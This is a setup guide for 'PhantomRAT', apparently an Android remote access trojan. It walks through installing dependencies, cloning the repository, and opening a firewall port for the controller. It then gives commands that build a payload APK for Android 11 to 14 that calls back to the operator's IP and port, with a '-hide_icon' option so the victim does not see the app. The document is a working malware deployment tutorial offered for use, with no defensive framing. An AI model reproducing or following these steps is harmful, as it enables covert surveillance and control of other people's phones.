Setup Guide

Installation Steps

System Preparation

Update your system and install basic dependencies

For Linux (Debian/Ubuntu/Kali):

sudo apt update && sudo apt upgrade -y
sudo apt install python3 python3-pip openjdk-11-jdk git wget -y

For Termux (Android):

pkg update && pkg upgrade -y
pkg install python git openjdk-17 -y

Download PhantomRAT

Clone the repository from GitHub

git clone https://github.com/Ritusmin325k/PhantomRAT_V2.git
cd PhantomRAT_V2

Install Python Requirements

Install necessary Python packages

pip3 install -r requirements.txt

Install Gradle Build System

Run the one-click Gradle installer

bash install_gradle_oneclick.sh
source ~/.bashrc  # or source ~/.zshrc if using zsh

Important: You must reload your shell configuration with source ~/.bashrc after installing Gradle!

Verify Installation

Check if all components are installed correctly

python3 rat.py --help
gradle --version
java -version

If all commands work without errors, installation is complete!

Configuration

Network Configuration

Determine your server IP address:

# Linux
ip addr show
# or
ifconfig

# Find your local IP (e.g., 192.168.1.100)

Firewall Configuration

Allow the server port through your firewall:

# UFW (Ubuntu/Debian)
sudo ufw allow 8000/tcp

# Firewalld (CentOS/RHEL)
sudo firewall-cmd --permanent --add-port=8000/tcp
sudo firewall-cmd --reload

Building Your First APK

Choose Your Android Version

PhantomRAT supports separate payloads for different Android versions:

android_11 - For Android 11
android_12 - For Android 12
android_13 - For Android 13
android_14 - For Android 14

Build Command

# Replace 192.168.1.100 with your server IP
python3 rat.py build -ip 192.168.1.100 -p 8000 -pl android_14 -o phantom.apk

Build Time: The build process takes approximately 3-4 minutes using Gradle.

Build with Hidden Icon

To hide the app icon after installation:

python3 rat.py build -ip 192.168.1.100 -p 8000 -pl android_14 -o phantom.apk -hide_icon

Troubleshooting Common Issues

1. Gradle Command Not Found

Solution:

source ~/.bashrc
gradle --version

2. Java Version Issues

Solution: Install OpenJDK 11 or higher

sudo apt install openjdk-11-jdk -y
java -version

3. Build Errors

Solution: Clean and rebuild

cd Payloads/android_14
./gradlew clean
./gradlew assembleRelease

4. Permission Denied on gradlew

Solution: Make gradlew executable

chmod +x Payloads/android_14/gradlew

What's Next?

Usage Guide

Learn how to use PhantomRAT

Full Documentation

Read complete documentation